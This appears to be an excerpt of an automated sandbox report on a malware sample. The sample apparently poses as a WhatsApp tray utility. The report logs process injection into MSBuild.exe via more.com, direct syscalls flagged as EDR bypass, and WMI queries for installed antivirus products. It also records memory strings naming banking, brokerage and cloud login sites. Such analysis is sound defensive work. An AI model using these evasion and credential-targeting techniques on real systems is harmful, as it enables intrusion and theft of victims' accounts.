Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 56157	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: ITERHPGen.exe, 00000009.00000002.1723498304.0000000001384000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll7
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1475015007.0000000001B38000.00000004.00000020.00020000.00000000.sdmp, ITERHPGen.exe, 00000006.00000002.1648112326.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3907884256.0000000000C9F000.00000004.00000020.00020000.00000000.sdmp, ITERHPGen.exe, 00000014.00000002.3661534615.0000000001498000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: MSBuild.exe, 0000000A.00000002.3913689241.0000000002F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: MSBuild.exe, 0000000A.00000002.3925960520.0000000003D43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 10_2_06BD29B8 LdrInitializeThunk,

10_2_06BD29B8

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Code function: 0_2_00B65665 mov eax, dword ptr fs:[00000030h]

0_2_00B65665

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	NtSetInformationThread: Direct from: 0xB66306	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	NtQuerySystemInformation: Direct from: 0x77757B2E
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	NtSetInformationThread: Direct from: 0x126306

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write
Source: C:\Windows\SysWOW64\more.com	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 70101000	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 8B1008	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 70101000	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 60B008	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 70101000	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: F68008	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 70101000
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 436008

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Source: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Binary or memory string: Minimize TrayButton(fail) (2023)Hide WhatsApp applicationShow WhatsApp applicationWhatsApp is opening..WhatsApp is closing..Please wait..TrayButton.cfgTrayButton XTrayButton YCritical system parameterTrayButton will remember thisStart TrayButton on loginMinimize WTB to tray on startupMinimize WhatsApp to tray on startupMinimize WhatsApp to tray when clicking tray iconOpen WhatsApp with a single clickOpen WhatsApp on new message or callShow missed WhatsApp events on tray iconSupport battery saving modeLanguageCheck Count MaxCheck CountWe have an old versionChecking network and updatesSensitivity factorProgram ID codeNOT_SET\.\Control Panel\International\GeoNation0123456789%dSOFTWARE\Microsoft\CryptographyMachineGuidC:\Program Files (x86)\TrayButtonForWhatsApp\TrayButton.exe--bootSoftware\Microsoft\Windows\CurrentVersion\RunTrayButtonForWhatsAppTrayButtonForWhatsAppShell_traywnd8.8.8.877.88.8.89.9.9.9208.67.222.2221.1.1.18.26.56.2676.76.19.19185.225.168.168176.103.130.13064.6.64.6216.87.84.21184.200.69.80*8.8.4.4

Source: C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\527e37c9 VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\5d1ee590 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\61739b62 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d5087297 VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
